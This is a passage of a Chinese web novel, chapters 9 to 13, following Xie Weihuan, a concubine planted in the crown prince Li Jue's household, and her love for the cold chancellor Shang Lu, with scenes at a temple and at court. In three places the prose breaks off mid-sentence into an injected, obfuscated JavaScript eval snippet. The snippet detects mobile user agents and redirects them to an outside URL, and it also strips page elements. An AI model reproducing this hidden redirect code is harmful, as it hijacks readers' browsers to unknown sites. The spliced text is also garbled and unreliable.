她眼神飘忽不定,试探着拒绝道:“殿、殿下,妾今夜受了伤身子不适,想一个人睡,能不能应妾这一次?就一次?” 为了让李珏顺利离开,谢为欢软声娇语地撒娇着。 李珏抿抿唇,未语。 谢为欢见李珏并未应她,又悄悄勾起的他手,放在自己的脸庞轻柔地蹭了蹭,如同撒娇的小猫一般,声音轻柔,“好不好,殿下?” 她能清楚地感受到李珏指尖的微颤,盯着她的脸染上几分深情。 李珏叹了口气,捏了捏她的脸,宠溺一笑,“好,孤听欢儿的,明日再来看欢儿。” 待李珏彻底离去后,谢为欢慢慢吐出口气,又赶紧下榻,走向一旁的榻衣柜,还没等她伸出手打开。 只听“哐”的一声响,商陆自己推开柜门走了出来。 他掸了掸衣袖,脸色阴沉得可怕。 谢为欢暗暗咬唇,“方才委屈相爷了……” 然,商陆只是低头望着她,眼神落在她涂满口脂的唇上,脸色又暗了几分,不曾说什么,只一步步向她靠近。 谢为欢不知商陆要做什么,只得步步后退。她抬眸望向他时,只见男人眼里愠色渐浓。 那冰冷的目光似要将她刺穿。 凭她对商陆的了解,知道眼下他是动了怒。难道是自己将他藏进榻衣柜里,他生气了? 直至退到退无可退的地步,谢为欢眨着眼,不自觉地蜷了蜷手指,“相爷这…这是做什么?” 话音刚落,男人止住步子不再靠近,只低头睨着她。 谢为欢一时不知如何是好,刚想转身离商陆远一点。 却没想到下一时,男人突地向她伸开一只手用力捏住她的下颌,而另一只手紧紧攥住她的手腕。 “相爷……不知欢儿犯了何错?” 她被他硬生生控制住,动弹不得。男人的力道很重,而这个姿势恰巧扯动了她背后的伤口,身后传来阵阵的痛感,谢为欢察觉到伤口又渗出了血。 “何错?” 烛火映在商陆深沉近墨的眸中,衬得他更加可怖。 男人的眼里没有任何温度,说出的话倒像是反问,而谢为欢却根本不知自己犯了什么错。 “相爷,欢儿不知所犯何错。” 商陆微微挑起眉,低头闷笑一声。 谢为欢头顶如有惊雷闪过,她知道,只要商陆一笑,势必会让人付出代价。 果然,下一时男人顺着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半夏扶着她坐在榻上,叹了口气,“姑娘,奴婢方才听重楼说,方太医递了消息,相爷得知你受伤,将一切事务全部推却,立刻赶来了,所以奴婢觉得相爷的心里还是有姑娘的。” 说到最后半夏也无了底气,声音越来越小。世人皆道当局者迷旁观者清,可如今到了相爷这里,别说是谢为欢,所有人皆看不透相爷对谢为欢到底是什么情感。 听此言,谢为欢微微垂眸,心里堵得厉害,她捉摸不透男人到底将她当做什么。 是一个随时可以舍弃的棋子还是…… *** 太子府,广陵阁。 李珏坐在案前映着烛火一目不错地看着奏折。 他身旁的侍卫苍术不禁叹了口气,规劝道:“殿下,五更天了,该休息了。” 他回过神,揉了揉眉心,继续看着奏折,“谢奉仪那里可有什么异样?” “回殿下的话,一切如常。” 李珏点了点头,听到这话,眉头舒展开。 苍术多次欲言又止,最终忍不住说道:“殿下,您是东宫太子,来日的皇帝,想要什么样的女人得不到,怎偏偏宠爱这谢奉仪?先不说她竟不让殿下留宿,单单她是丞相送来的,这一点……” “殿下就不怀疑?” 苍术苦言相劝道,他跟着李珏已多年,也是头一次见他为了一个女人如此。 今夜他明明是火急火燎赶回府,只为瞧那谢奉仪一眼,没想到转头被人赶了出来。 李珏放下手中的折子,望向案前跳动的烛火,声音沙哑,“苍术,不是她,是孤不愿意碰她。” 他又自嘲笑道:“孤又怎会不怀疑?只不过她,实在是太像孤的清儿,每一次瞧见她,孤都会觉得是清儿在给孤弥补的机会。” “所以,孤要等到她心甘情愿跟着孤,即使在这期间她要孤的命。” 言罢,他的脑海中浮现起另一个少女的面容与话音,与谢为欢的容貌重叠。 “容清,是你回来了么?” “孤,真的好想你。” 10.第 10 章 微雨刚过,清风吹得池塘中的荷叶打着卷,翻转一圈又一圈。 接下来的半月内,谢为欢都在太子府内大门不出二门不迈地养伤。 这期间她还听说安阳郡主因不敬先祖之罪被禁在府中。 听此消息,她忽地想起李珏曾说过,会让安阳郡主付出代价,那日她也只当男人说说而已,没想到李珏竟真的会为了她去惩戒他来日的太子妃。 是以,她当面谢过李珏,却没想到他闪烁其词,只想岔开话题。 谢为欢也只当是他不想再提及此事,索性不再谈及,就此揭过。 这日,天气凉爽,适宜出行。 谢为欢的伤也已大好,躺在府中半月,或许是卧床太久,深感身子沉重,为此她决定去郊外的国清寺逛一逛,往日在相府时,她每逢小暑前后都会去寺中替商陆祈福,以保他平安顺遂。 收拾一番后,她带着半夏上了前往国清寺的车舆。这国清寺位于京城南郊的东篱山上,素来香火旺盛,灵气极佳。 由朝廷庇护,是为皇家寺院。 不少京城贵女每逢佳日都会来此求吉,求姻缘,求平安…… 因着山路难行,车舆只能停在山脚下,要走到寺中大殿祈福,还需沿着山路行一个时辰。 远远而望,山间的路铺着棋盘一般的青砖,一方方地铺向寺中,阳光透过云隙照在前行的路上,灿烂而恍惚。 谢为欢在半夏的搀扶下,主仆二人缓慢行着。一个时辰后,终行至寺中。 在方丈的指引下,谢为欢又去禅房取了平安符才回到祈福大殿。 半夏候在殿外,谢为欢在殿前轻轻喘着气息,待呼吸平稳整理仪容后进了殿中,香火气息传来,似轻烟如飘雾,让她内心更加平静。 她从怀中拿出方才自寺院和尚那里得到的平安符和卧香,跪在了佛像前拜了拜,阖上双眸,双手于胸前合十,乞求道: “求佛祖保佑,信女谢为欢在此乞求,愿相爷平安顺遂,一世安康。” “为此,信女谢为欢愿付出一切代价。” 一阵祷告后,她将卧香插在佛像前,拿起手中的平安符在上面绕了两圈。 祈福完毕,她将手中的平安符小心翼翼收在怀中,转身退出大殿。 “半夏,我们走吧。” “是,姑娘。” 然,谢为欢刚要迈出步子离去,却发觉自己的腰间少了什么东西,低头一瞧,原来是商陆送她的玉佩不见了。 她紧皱着眉头,那可是商陆送她的生辰礼,丢不得。 明明上山后她还瞧着玉佩好好地系在腰间,定是方才去禅室取平安符时遗失了。 “半夏,我的玉佩不知落在了何处,你在此处等我,我去寻寻。”她赶紧拉住半夏吩咐道。 半夏:“是,姑娘。” 谢为欢急得眼眶泛红,依着方才的记忆,她匆忙向南寻去,仔细寻着四周有无玉佩的影子。 不过片刻,她行至一间禅房前,瞧见门外台阶上有一个老妇人手中正拿着她的那块玉佩笑着,只是那老妇人瞧着蓬头垢面,衣衫褴褛,凌乱的头发如同枯草一般。 谢为欢目光猛地一亮,总算是找到了商陆送她的玉佩,也顾不得什么别的,只三步并作两步走上前,她拍了拍老妇人的后背,“婆婆,打扰了,您手中这玉佩是我的,能否归还于我?” 只见眼前的老妇人闻声回头,看到她后却笑容渐失,眸中闪烁着惊恐,手中的玉佩被她扔在地上,如同见到恶鬼一般发出颤抖破碎的尖叫,“大、大姑娘!你…你别过来!你别过来!你别过来!” 老妇人蜷缩着身体,手在微微发抖,“大姑娘,此事与我无关!与我无关,你可别来索我的命!” “与我无关!” 谢为欢微微一愣,看样子这老婆婆应该是将她认错了人,她缓步靠近试图解释道:“婆婆,我不是你口中的大姑娘。” 无奈,只要谢为欢靠近一步,那老妇人就更加惊恐一分,叫喊声更大了起来。 或许是她的叫声引来了人,不知从何处冒出来了一个方丈,“阿弥陀佛。” 他瞧了谢为欢一眼后,快步上前扶起地上的老妇人,进了禅房。 谢为欢弯腰拉起地上的玉佩,拿出帕子仔细擦拭,重新别回腰间。 然就在她转身要走时,方丈从禅房走出唤道:“女施主留步!” 谢为欢止住步子,只见方丈快向她行来。 “阿弥陀佛,女施主怎来到此处?” 她回礼道:“我的玉佩不小心遗失了,过来寻时遇到了禅房的那位老婆婆,好像是…将我认错了?” 方丈错神须臾,欲笑未笑:“阿弥陀佛,女施主莫要在意此事,方才那妇人神志不清,惊扰到了女施主。” 神志不清? 谢为欢睫毛垂了垂,回忆起方才那妇人的模样,是有些怪异,看到她时还满嘴胡话。 “她……” “阿弥陀佛,前尘往事,不提也罢。”方丈双手合十打断她的话道。 谢为欢也听出来眼前的方丈不愿与她多谈方才的老妇人,压下心中的疑惑,微微点了点头,道:“冒犯了。” 然,这时面前的方丈却放声大笑了起来,“女施主此言折煞老衲了,哪有什么冒犯呢?不知女施主姓甚名何?” “女施主莫要误会,只不过是老衲瞧着施主有缘。” 谢为欢:“无事的方丈,我唤作谢为欢。” “老衲与女施主有缘,不知施主可有什么疑惑之事,老衲替施主瞧瞧吉凶。” 谢为欢抬眸看向方丈,“那有劳方丈了!” 是以,她从方丈手中的一捆灵签中,随心抽了个,递给他。 方丈含笑接过,却不料在瞧了签文一眼后,神情严肃起来,“与君夙昔结成冤,今日相逢那得缘。好把经文多讽诵,祈求户内保婵娟。” “女施主这一签可是下下签,求姻缘,乃是情路坎坷,求平安,也是一路磨难,阿弥陀佛。” 谢为欢望着阳光落在那灵签,刺眼的光线似在嘲讽,让她陷入一种恍惚。 “下下签么?”她一下子咬紧了唇,果然她出身卑贱,不配得到情爱,连命运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151115|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是坎坷。 忽地谢为欢似想到什么,从怀中取出那张平安符,小心翼翼攥着手心中,问道:“方丈,那我所求的这平安符可会为所求之人招来霉运?” 她的霉运绝不能传给商陆。 一定要佑他一生平安。 方丈笑了笑,“女施主诚心所求的平安符,定会为所求之人召来福运,怎么会招霉运?” 他又补充道:“女施主切记日后若是在情爱一事上有所疑惑,一定要当断则断,否则将会万劫不复啊,阿弥陀佛。” 谢为欢行了礼,“多谢方丈告知。” 她望着方丈离开的背影,心中有些乱,连着身子都不动声色地向后退了一步。 缓过神来她瞧着天色已晚,若是再不回府,怕是要让李珏着急。 是以,谢为欢快着步子回到大殿,拉着半夏赶紧下山。 路上半夏似乎瞧出她的不对,试探性问道:“姑娘可是没寻到玉佩?” “寻到了。” “那姑娘为何还如此愁眉苦脸?” “没什么…”谢为欢打发着半夏,她不想将刚刚发生的事告知于她。 心下不禁思起禅房外奇怪的妇人,竟能将她认错人,见到她时惊恐万分。 虽说是世间长得像的人很多,可她的心中总觉得此事没那么简单。 还有她抽到的下下签,方丈的话,当断则断……是否在说她这一生都不会圆满。 心中的思绪如潮水般袭来,谢为欢的心思也不在脚下。怎料一滑,她竟摔倒在地,不慎崴了脚。 谢为欢坐在地上不敢动,脚踝处的痛意袭来,瞬间失去了全身的力气。 “姑娘!”半夏忙地蹲下身察看她的伤势,“姑娘还敢动么?” 足衣褪下,可见她的脚踝处红肿大片,泛着紫,留有淤血。 她的手指紧紧攥着衣袖,“不行,半夏我不敢动。” 眼前的半夏急得拍了下大腿,张望着四周,“姑娘!这可如何是好?离山下还有一段路。” 谢为欢眉心一动,“半夏,你先下山,唤人过来救我。” “不行姑娘!奴婢怎会留您一个人在此,若是出了事,奴婢怎么办?” 这山中寺院人杂,留谢为欢一人在此,若是遇到什么坏人,遭遇不测,怕是要摊上大事。 然,就在主仆两人一筹不展时,眼前出现两道熟悉的身影。 谢为欢抬也注意到有人走来,眼前人渐渐靠近,她眸定睛一瞧,来人竟是商陆! 不对,他怎会来此处? 重楼瞧见她与半夏的身影后似乎有些吃惊,附在商陆耳畔说了几句话。 男人这才注意到她,目光直直向她投来。 谢为欢低着头,不敢迎上男人的目光,每次都是如此狼狈的模样。 然,耳畔的脚步声越来越近,再抬眼时,商陆已至她身前。 他向她伸出手,“起来。” 男人的声音带着不耐烦与几分无奈。 谢为欢未动,只攥着衣袖,低垂下眼帘,“相……相爷,欢儿动不了。” 11.第 11 章 风卷起男人的袖袍,一缕光映在他的月白色衣袍上,晕成了淡淡圆圆的光圈。 “麻烦……” 头顶再次响起男人沉闷的声音,他显得愈发无奈了。 随后只见眼前的商陆默默收回手,谢为欢低下头,攥紧身侧的手指。 然,就在她内心失望,以为商陆已经放弃不想管她时。 却没想到面前男人突地俯下身,手臂穿过她的后背与膝弯,将她横抱而起。 事情发生的太过于突然,她一时惊慌,竟下意识搂住男人的脖子,缩在他的怀里,两人此时贴得极近,只要她抬起头就能亲到他的下巴。 她意识到自己举动出格后,轻轻抬眸看向男人,松开手颤巍巍道:“对……对不起相爷,是欢儿越界了。” 少女如墨的发丝飘起,落在商陆的脸上,如同羽毛轻挠。 她的手搂住他的脖子时,他并不讨厌,反而在内心多了几丝满足,然当她松开手后,就像丢失了什么东西,心里空落落的。 商陆眉毛轻挑,嘱咐道:“抓紧。” 谢为欢愣住,眼底掠过一抹惊讶,她不知是何意思,难道是允许她搂着他么? 她满心疑惑,一时之间伸手不是,不伸手也不是。 商陆见怀中的少女未动,微蹙的眉心透露出几分烦扰,“谢为欢,你若是不抓紧,我就把你扔下去。” “……好,相爷。” 闻言,谢为欢眨着眼,乖乖搂住男人的脖子,手臂发僵,不敢有其他动作。 而商陆似乎心满意足,刚刚皱起的眉头在少女搂上他的脖子后旋即舒展开。 谢为欢望着男人,不自觉靠近,感受到他的心跳,内心滋生出一种欣喜。 这是商陆第二次抱她,时隔十年,落在她腰间的那双手很有力,鼻尖萦绕着他身上苦茶的陈香,让人心安,抚慰着她的心灵。 男人就这么抱着她下了山。 半夏一路小跑跟在他们身后,面上也露出几分欣喜神色。 她出自相府,自然也希望看到相爷对她家姑娘好,如今他能抱着她家姑娘,就说明相爷没有还那么绝情。 她不禁想着,为何相爷的态度变了! 难不成是失去后,知道了她家姑娘的好?正想着弥补? 看来日后她家姑娘回到相府一事,有望。 …… 不过片刻后,谢为欢就被商陆抱着下了山,放在车舆。他的动作很轻,生怕让她的脚踝再次受到伤害。 下一时男人伸出手欲褪下他的鞋袜,察看她的伤口时。 谢为欢心头突地一跳,连忙缩回自己的脚,藏在衣裙下,眼神躲躲闪闪,“相爷…不,不可。” 少女的声音清脆,带着几分娇羞。 商陆看着她怯生生收回玉足,眼神黯了黯,“不让我看,如何给你治伤。” 他的声音很淡,毫无情绪。 谢为欢低垂下眼,好像此时再端着那些莫须有的规矩,倒是显得她不开窍了,回忆起进太子府的前一夜,她可是褪下了所有衣物……该看的,不该看的,都看了。 思虑清楚后,她咬紧下唇,乖乖伸出了自己的脚。 鞋袜褪下,少女的脚踝处肿了一圈泛着紫红色,触目惊心。 商陆的眼神落在那红肿处,眉心突突一跳,他伸出手揉了揉,“还好,不重。” 谢为欢刚开始吃痛到轻轻哼声,过了一会儿后,在男人的轻揉下,脚踝处没那么疼了。她抬眸仔细打量着男人的神色,想在他脸上看到别的情绪,却丝毫捕捉不到。 “多谢,相爷。”她睫毛微微颤动着,“不过相爷为何会来到此处?” 商陆手上一顿,没有回答疑问。 谢为欢敛敛眸子,抓着衣襟的手指微微一动,开始在心中怨恨自己为何要问出方才的话。 商陆的事,她哪里有资格去过问? 她甚至希望他方才没有听到她的疑问。 不过幸好遇到他,如若没有遇到商陆,她怕是不知该如何是好。 因为他在,她很安全。 “下次注意。”男人起身留下一句话。 谢为欢眼瞧着男人要走,想到自己方才求得的平安符还未送出去。 她立时伸出手拉住男人的袖袍,他腰间的玉佩发出清脆的声响。 男人回头看了一眼她,语气带着不耐烦,“有何事?” 谢为欢瞥见商陆冷漠的神情,怯生生松开他的袖袍。 今日男人身着月白色衫袍,纹着花叶丹青的刺绣,银冠绾发,他的衣物滑滑的,凉凉的,同他人一样,很淡雅。 她总是觉得男人很难靠近,也不容人靠近。 “相爷……” 她从怀中小心翼翼取出平安符,呈到对方眼前,紧张道:“这是欢儿在寺中求的平安符,送给相爷,以佑您平安无恙。” 她用力咬着唇,手指不自觉轻轻颤着,表面却佯装云淡风轻,实则心跳如鼓,害怕商陆不收这平安符。 在相府时,她每年在寺中求得的平安符总是悄悄放在商陆的屋内,尽管每一年的平安符都会消失不见,她也只当是被发现,对方带在身上,心照不宣。 商陆眼神一沉,抬眸望着少女真挚的模样,终究是心下动容,伸出手接过平安符,薄唇轻启,“下次不必求这些没用的东西。” 谢为欢见着商陆接下平安符,眼中盛满了笑意,也没在意他方才说的话,“相爷收下就好。” 他收下就好。 商陆瞧着她因自己收下平安符而满心欢喜的模样,眼神微微一动。 好像少女每一次得到他的回应后,都会开心得不知该如何是好。 …… 商陆走后,半夏掀开车帘进了车舆,打量着谢为欢,只见她嘴角噙着笑。 已经好久未看到她笑得如此开心了,果然只有相爷才能让她家姑娘发自内心的笑。 半夏一副好奇的模样,亲昵凑近,打趣道:“姑娘怎么如此开心?可是因为相爷?” 谢为欢掩过面上的欣喜,“你…你还不快叫马夫赶紧驾车离去!” 半夏笑道:“是是是,我的姑娘。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159632|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >车舆行起,谢为欢掀开车帘,望着山间的景色,落日余晖落在树叶上,映出树影,为其染上一层金灿灿的光,上下跃动。 她深深吸了一口气,满是山间的清新,沁人心脾。 商陆能收下她为他求来的平安符,是不是就代表着往日的平安符也被他发现,并且带在身上? 思此,她的唇角情不自禁弯起。 …… 国清寺,禅房。 商陆从方丈手中取过几柱香后,于牌位前拜了拜。 殿内烛火忽明忽暗,映着堂中那几方无名牌位,庄严肃穆之感扑面而来。 幽暗之下,商陆面色凝重如石,深沉而冷峻,看向牌位时,眼尾泛红,攥紧拳头压抑着内心情绪。 拜祭过后,他走出禅房。 门外的方丈迎了上来,笑道:“阿弥陀佛,公子心诚,看来这禅房中所祭拜之人对于公子来说,极为重要,只是为何不写上他们的名字?” 余晖落在男人月白色的衣袍上,更衬得他清冷而孤寂,“是我无能,不能为他们正名,只能无名无姓供奉他们。” 提及此事,他喉咙里像是堵住什么东西,声音也带着几丝颤抖。 他本就眸光森寒,此时又多了几分骇人的戾气,刺骨蚀人。 方丈双手合十,悠悠笑道:“阿弥陀佛,公子何必纠结于这些,在老衲看来,公子能为他们做到如此地步,已是竭尽全力。”方丈笑道。 “纠结?我若是不纠结,就没人能替他们写上姓名。” 商陆的言语带着几分自嘲,未再同方丈说什么,低头时,他瞧见腰间的那道平安符,面色似乎骤然冷了下来,眼神中带着几分仇视。 他迅速抽出那平安符,扔给身侧的重楼,声音冷得像冰,“拿去处理了。” 那平安符如同烫手的山芋,重楼一时不知如何是好,面露难色道:“公子…这如何处理?” 商陆抬起眼幽幽地扫了重楼一眼,冷冷道:“同往日一样,烧了。” 然而,还没等重楼的下一步动作。 听说要烧平安符,一旁的方丈皱起眉头,连连出声阻止,“公子,公子,这平安符可烧不得,平安烧毁,乃是大不敬,可致公子气运受阻,万万不可如此啊。” “气运对我来说,无甚用处。”商陆嗤笑了一声,嗓音微沉道:“天若亡我,我也敢争上一争,何况一个小小的平安符。” 他这一生不信命,只信自己,又怎会在意什么平安符的气运? “公子若是厌弃这平安符,不如将它交给老衲保管,公子眼不见心不烦,如此可好?”方丈见自己劝不动面前的男人,又出了个主意。 商陆未语,只是示意重楼将那刺眼的平安符交到方丈手中。 方丈接过平安符于手中仔细瞧了瞧,“公子的这张平安符老衲见过。” “这符是方才那位姑娘诚心祈求的那枚,只是可惜那位姑娘命运坎坷,还在担心自己的气运能不能影响这平安符的灵验,没想到令那位姑娘如此在意的人,竟然是公子。” 商陆眉心一动。 12.第 12 章 谢为欢回到太子府已是酉时,马车缓缓停下,她在半夏的搀扶下走出了车舆。 太阳西沉,月华渐渐升起,惊动枝头的喜鹊,顺着月光她抬眸一瞧,竟看到李珏一动不动站在府门前,神色焦急。 对方在瞧见她的身影后,立时三步并作两步行到她身侧,反手揽上她的腰将她拥入怀中。 他的下巴搭在她的颈窝,声音沉闷,“欢儿,你不是说去礼佛,怎么去了这么久?” “孤差点让亲卫去山上寻你。” 男人揽在她腰间的手很用力,似乎像是失而复得又怕再次失去。 炽热的体温隔着衣料传来,烫得谢为欢攥紧了垂在身侧的手指,压下心中强烈的抗拒之意。 她伸出手抚了抚李珏的后背,“都是妾不小心,扭伤了脚,如此才耽搁了回府的时间,怪妾让殿下忧心。” 闻言,李珏手上一顿,轻轻松开谢为欢的腰身,低头看着她不敢落地的右脚,眉头紧皱,“快快去请太医!” “你们这帮没用的下人,怎让你们的主子受了伤?” 男人在听说她受伤后,几乎是勃然色变。 下人们皆跪在地上求饶,惶恐道:“奴婢知罪,殿下息怒!殿下息怒!” 求饶声回荡在耳畔,她拽住李珏的袖口,晃了晃哀求道:“殿下息怒,都是妾不小心,与下人们无关,您不要同他们生气,也别罚他们。” 清冷的月光映在男人侧脸,他的眉头紧皱,满目忧心。 他好像真的很担心她,这还是谢为欢自幼时起,第一次见一个人对她如此关心。 她甚至觉得男人问责的话落在心中让她莫名心安。 “好,孤听欢儿的。” 谢为欢的话似乎很受用,眼前的男人转头看向她时,掩过方才的怒色,换上一副温润如玉的模样。 接着李珏将她轻轻抱起,刻意避开她的脚踝,生怕她加重伤势。 “孤抱欢儿回殿。” 谢为欢被李珏紧紧抱在怀中,男人温热的呼吸在她的颈间萦绕,炙热的手指覆在她纤细的腰身。 浓烈的檀香袭来,也让她深感不适,只轻轻抓住他的衣襟,以作支撑。 而李珏像是在抱着世间珍宝,步子也行得很稳,谢为欢此时在他眼中就如同易碎的瓷娃娃,而他绝不会让怀中的少女有任何意外。 “殿下,您身为太子怎么能抱着妾,这不合规矩。”谢为欢推了推李珏的肩膀,试图劝说对方将她放下来。 堂堂太子殿下抱着一个奉仪回殿,传出去有损名声。 李珏非且没有将她放下来,反而是收紧手上的力道,“欢儿,孤不怕他们说,孤只怕你伤势加重。” “殿下……” 谢为欢抓着李珏衣襟手指缩了缩,他的话很郑重,她从未得到过任何人的如此偏爱。 她实在不懂,自己何德何能独得这份偏爱,猜不透李珏到底是如何想的。 她出身相府,李珏又不是痴傻,怎能不怀疑她的目的? 可他一次次对她毫无顾忌的偏爱,不禁让她产生一种假象。 他真的对她很好,很好。 …… 不过片刻后,谢为欢被李珏抱进清月殿内,轻轻放在软榻上,抬眸时,见男人的额角因抱她一路,已泛出薄汗,微喘着气。 她心中不禁泛起微微酸意,不自觉低下声音,“辛苦殿下,都怪妾太重了。” 李珏用袖口擦了擦鬓角的汗,无声笑了一下,“孤的欢儿多重,孤都会稳稳抱着。” 下一时,男人亲昵地凑近,将她额间的碎发绾在耳后。 “殿下,您……” “臣见过殿下!”方太医的进入,打断谢为欢的话,让她未说出口的话生生咽了下去。 李珏:“方太医今日来得倒是快,赶紧上前为孤的奉仪瞧瞧!” 方太医毕恭毕敬:“是!臣遵旨。” 谢为欢依言褪下鞋袜,将脚踝处的扭伤展示给方太医,“如何?” 商陆已将她的伤口简单处理,眼下应已没什么大事。 方太医瞧了两眼,恭谨道:“回殿下的话,奉仪这扭伤问题不大,涂抹药物,这几天切记不要有什么大动作。” 李珏接过药,“好,你且退下吧!” “是,微臣告退。” 谢为欢抬眸望向李珏手中的药瓶,瓶子与上次商陆送来的一模一样,难道是他借方太医之手送来的? 李珏的眉眼才舒展开,“孤亲自给欢儿上药。” 耳畔传来身侧男人的话,谢为欢思绪立即飞回,见李珏要亲自为自己的脚踝涂摸药,急得要起身阻止,“妾怎可劳烦殿下?” 抱她回来已是不合乎礼数,眼下又要给她的脚踝亲自涂抹药…… 李珏按下她的肩膀,揉了揉她的头,“你是孤的奉仪,莫要再说此话,不然孤要同你生气了。” 还未等谢为欢再说出什么话,李珏就已经低下头为她的脚踝仔细涂起药来。 她映着烛火打量起李珏的模样,他同商陆很不一样,商陆冷得像石,而李珏则像一块玉。 不—— 或许他更像一团燃烧在她身侧,极其旺盛的火。 而她却偏偏喜欢那个如石如铁的商陆。 “殿下对妾真好。”她情不自禁说出此话。 李珏回头向她时,眼底的笑意分明,“你可是孤的欢儿,天上地下,仅此唯一的欢儿。” 说起此话后,男人的手上一顿,眉眼间染上一股莫名的情绪,又念了一句,“天上地下,仅此唯一。” “仅此,唯一。” 言罢,空气突然凝滞,窗外的那棵梧桐树随风摆动,如呢喃细语。 然,谢为欢察觉到李珏的不对,眉心微微动了一动,问道:“殿下,怎么了?” 李珏回过神,掩过面上的情绪,“没怎么,孤只是心疼欢儿。” 涂完药后,李珏起身将床幔放下,薄唇染上几丝不易察觉的温柔,“欢儿今夜好好休息,孤还有要事处理就不陪着欢儿了。” 他的情绪明明不对,总有种说不出的伤感。 谢为欢乖巧点了点头,透过幔纱望着男人离去的背影,她松了口气。 她又想起李珏虽然对她很好,可却进退有度,始终不愿意碰她。 前些时日她还在怀疑是李珏不能人道,然上次她偷偷打探过此事,方太医说他根本没有隐疾,身体康健得很。 思此,她心里莫名堵住一口气,看来自己日后要更加主动,获得他的信任。 …… 自谢为欢扭伤后一直留在殿内,每次她想出去散步,都会被李珏强行拉回殿内。 整日里无所事事,倒也是无聊至极。 这日,她望着被衾上的刺绣,心思一动,想要缝制香囊,有了想法后她立时让半夏去为她准备了针线,开始缝制。 缝制一个香囊送给商陆。 在相府她无聊时,也会缝制一些香囊等小物件送给他。 不过,商陆每次都是淡淡的收下,没有什么情绪。后来那些物件也同那平安符一样,从未瞧见他带过,也不知是不是被他扔了。 即使是次次消失,她也不曾放弃,总是想送给男人一些自己力所能及的东西。 想着想着,忽地手下一个不注意,针扎到了指腹。 “嘶……” 眼瞧着血珠自伤口处溢出,她吃痛皱起眉头。 恰逢半夏端着茶进入,她将茶水放在桌案上,看着谢为欢缝制香囊,一眼就能瞧出是为 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眼前的李珏察觉到谢为欢往背后藏了什么东西,眉心微动,走近她时略显不悦道:“难道欢儿不希望孤来?” “还是说欢儿瞒着孤藏了什么东西?不让孤知道?” 谢为欢见自己藏不住,将身后的香囊悄悄拿出来,“妾没藏什么,只是一个香囊而已。” 送给商陆的香囊… 李珏顺着她的手,低头看向那香囊,突然眼睛一亮,嘴角含笑,“这是给孤的?” “……” 谢为欢无奈点头承认,“是…是妾给殿下缝制的,本来想给殿下一个惊喜,没想到被发现了。” 她将香囊放在李珏手心中,又佯怒道:“殿下方才还怀疑妾背着殿下私藏了什么东西。” 李珏握住那香囊的瞬间也握住她的手,笑道:“都是孤的错,欢儿想如何惩罚孤?” 谢为欢:“明日妾想出府,殿下不能再拦着。” “好!”李珏将香囊别在腰间,“欢儿送的,孤要时时刻刻带着,炫耀给他人看!” 李珏收到这香囊似乎很开心,然他越是开心得意,谢为欢就觉得越愧疚。 …… 翌日辰时,皇宫。 旭日方升,随着太监的一声“有本启奏,无本退朝”,大臣们皆身着朝服,鱼贯而出,走出大殿后开始互相交流攀谈。 而商陆只是一个人。 他虽身居丞相之位却性子冷淡,雷霆手段无不让人心生畏惧,更不喜与大臣们交谈。 下朝后,听着权臣在耳畔喋喋不休,他只觉心烦,想快步离去。 谁料,他刚走两步,李珏大步行来挡在他的身前,拦住他的去路。 商陆脸色变了变,不得不应付,行礼道:“臣参加殿下!” “丞相快快请起。”李珏故意拖着腔调,声音漫不经心,“丞相这火急火燎去哪里?” 他们二人本就是死敌,平日里在朝堂上不对付,说起话来也是各藏心思。 “回殿下的话,臣回府中有事。”商陆不咸不淡开口:“若是殿下没什么急事,臣就先告退了。” 他实在没什么心思去同李珏说些什么。 不料,李珏再次挡在商陆身前,笑道:“孤是来感谢丞相的,多亏丞相孤才能得到谢姑娘这般的妙人,解语花,甚合孤的心意。” 李珏散漫扬眉,很是得意。 说着说着,商陆注意到他刻意扬起自己的袖袍,露出他腰间的挂件。 他本不甚在意,只淡淡扫视一眼,谁料竟瞧见他腰间只挂着一个香囊。 而那香囊上的风铃花,与往日谢为欢送给他的一样,一眼便能看出是她亲手缝制的。 13.第 13 章 商陆深戾的眼眸微微眯起,攥紧了身侧的手指,淡淡道:“殿下喜欢就好,臣身为臣子,理应为殿下鞠躬尽瘁。” 李珏仰面大笑,声音明显抬高,“哈哈哈哈,商丞相此言着实令孤感动,不如孤赠送丞相几个美姬养在府中如何?” 商陆挑眉:“不必,臣……” 还未等商陆说完话,李珏拍了拍自己的额头,轻笑两声,“你瞧孤这记性,差点忘了商丞相与魏家姑娘郎情妾意,好事将近,怎还会纳其他美姬入府?都怪孤想的不周到。” 然,在李珏谈起魏家姑娘时,商陆的眼中闪着冷光,却又不得不微微俯身回应:“殿下此言,正是臣心中所想。” 李珏缓步靠近商陆,拍了拍他的肩膀,笑道:“那孤也在这里祝商丞相,抱得美人归。” 两人明明言语和谐,却暗暗透着剑拔弩张的气氛。 商陆抿紧唇,双手紧握成拳,“臣,谢过殿下。” 接着李珏爽朗一笑而离去。 望着他离去的背影,商陆掸了掸方才被李珏触碰的衣物,微蹙的眉心透露着几分烦闷。 就连宫墙上喜鹊的叫声落在心中也甚觉心烦。 